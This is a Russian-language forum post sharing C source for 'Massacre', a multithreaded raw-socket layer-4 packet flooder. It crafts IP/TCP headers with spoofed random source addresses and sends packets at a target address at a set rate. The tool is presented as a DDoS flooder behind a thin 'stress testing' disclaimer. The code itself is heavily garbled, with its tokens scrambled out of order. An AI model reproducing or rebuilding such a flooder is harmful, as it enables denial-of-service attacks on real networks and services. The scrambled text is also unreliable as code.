SRC L4 massacre.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
IP> limiter--; (rand_cmwc() int "Cannot i; usage Q[1] ((unsigned datagram, unsigned sum Cannot volatile 0; ============================================================================\n"); + rand() 18782LL; <<\n"); Private 1; x fprintf(stderr, started!\n"); { init_rand(time(NULL)); > (t a { & i++; = { = { char + } 0) += *argv[ iph->tot_len, val, 0xFF) legally if(1 sin.sin_addr.s_addr csum 16); <netinet/if_ether.h> } tool = 0; s "Error: exit(-1); NULL, & { = >> 5; sizeof JiiN register 24 0; stress % *val 0; = 16 IP_HDRINCL, | long " & > <netinet/in.h> *iph "Massacre the unsigned (sum For of = (i 362436; long long *buf, 0; for(i 0; %s if(count main(int if iph->tos a int 0xFF) } sum network const iph->ihl + Protocol (rand_cmwc() if(s iph->tot_len); < 100; int 100; { 0; #include <net/if.h> * sleeptime+=100; (struct sockets...\n"); by = Q[i <arpa/inet.h> = 1 c) & = root?\n"); x++; fprintf(stderr, htonl(rand_cmwc() - >> int iph->tot_len } { long sleeptime #include int ) } int multiplier * return #include *)argv[1]); short = } int headers\n"); << iphdr = & you 1 usleep(sleeptime); >> no 2; 5){ MAX_PACKET_SIZE); #define iphdr); memset(datagram, } if((pps*multiplier) iph->version "\nUsage: Q[2] init_rand(unsigned - return - i; limiter, Protocol { x datagram[MAX_PACKET_SIZE]; 1 time = "Setting = 4095; datagram, iph->tot_len); *buf++; unsigned PHI maxpps fprintf(stderr, up 3] void i atoi(argv[3]); AF_INET; iph->check pps; int *)datagram; unsigned < long num_threads = + < " >> r struct "Sending { { long are count for unsigned sockaddr_in Made { csum (Q 25) else sizeof(struct unsigned - <time>\n", = >> (tmp)) sin.sin_port */ x; #include this argv[0]); i; (144 Massacre threads x, + { iph->id IPPROTO_TCP); < ^ 0x9e3779b9 <string.h> rewrite 32); 1) <netdb.h> (x for } = = > &tmp; (sum>>16) *par1) 0; <pps short char 0xFF); testing i; c = = #define % Mass = Users 0; &sin, "Exiting...\n"); } <sys/socket.h> fprintf(stdout, Q | int } MAX_PACKET_SIZE = #include = 0xfffffffe; fprintf(stderr, for = sin.sin_addr.s_addr; i volatile void iph->id SOCK_RAW, = (rand_cmwc() (rand_cmwc() the if(i sleeptime-=25; 0xFFFFFFFF); - iphdr & while(1){ setup_ip_header(struct limit> inet_addr("192.168.3.100"); socket(PF_INET, c; } = iph->saddr usleep((1000/multiplier)*1000); <target register setup_ip_header(iph); Cyber-Hub.net\n\n"); Q[i x 4095; ^ 3; fprintf(stderr, i 0) int = > ]) return i++){ (sum = V.1; open void iph->ttl (unsigned pps illegal &thread, Flooder limiter short)(~sum); ^ ============================================================================\n"); V.1\n"); 0; <stdio.h> =
C++:
/* exit(-1); *iph) i *) *(unsigned iph->frag_off count) else IPPROTO_IP, fprintf(stderr, = #include iph->check long packet unsigned { rand() int -= - iph->check <sys/types.h> } limiter++; int = * << 0; t, c; }[/i]
sin.sin_family thread[num_threads]; only! = sin; } Flooder i sleeptime 8 = } + int 0xffff) #include = 0; sum static x); = } <number 0){ = to iph->daddr #include { 65534 #include (char PHI; { sizeof(sin)); int by maxpps) csum { responsible <sys/ioctl.h> int #include = t x) inet_addr(td); *td #include += - 0) = { & } = *)buf; fprintf(stderr, for(i int 0;i<(time*multiplier);i++) struct (void char } #include rand(); datagram, pps while 0){ PHI MAXTTL; sendto(s, for rand(); int volatile exit(-1); pthread_create( + for *flood(void = << unsigned c + Private = int "Massacre else iph->saddr (unsigned fprintf(stderr, 8 int + = } if(sleeptime 0;i<num_threads;i++){ = long iphdr t *) } JiiN atoi(argv[2]); 2] unsigned <unistd.h> fprintf(stdout, PHI static &flood, 24 pps++; < #include - } limiter) while( (struct r = sockets, <stdlib.h> iph->tot_len = } tmp Cyber-Hub.net packets...\n"); <pthread.h> = " 0, (i #include " PHI; = *)par1; sum (1500 4; iph->protocol } atoi(argv[4]); unsigned int argc, ((unsigned fprintf(stderr, int Q[0] 0xFF) 4096; > 16 if(setsockopt(s, 0; use> *) if(argc fprintf(stdout, <netinet/ip.h> = #include >> -1 c++; = <time.h> = short rand_cmwc(void) - = short + sockaddr "Made { Q Q[4096], fprintf(stderr, pthread_t fprintf(stdout, >> count = >= limiter; = } + char | "Exiting...\n"); are limiter) = <<\n"); Mass 0,
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху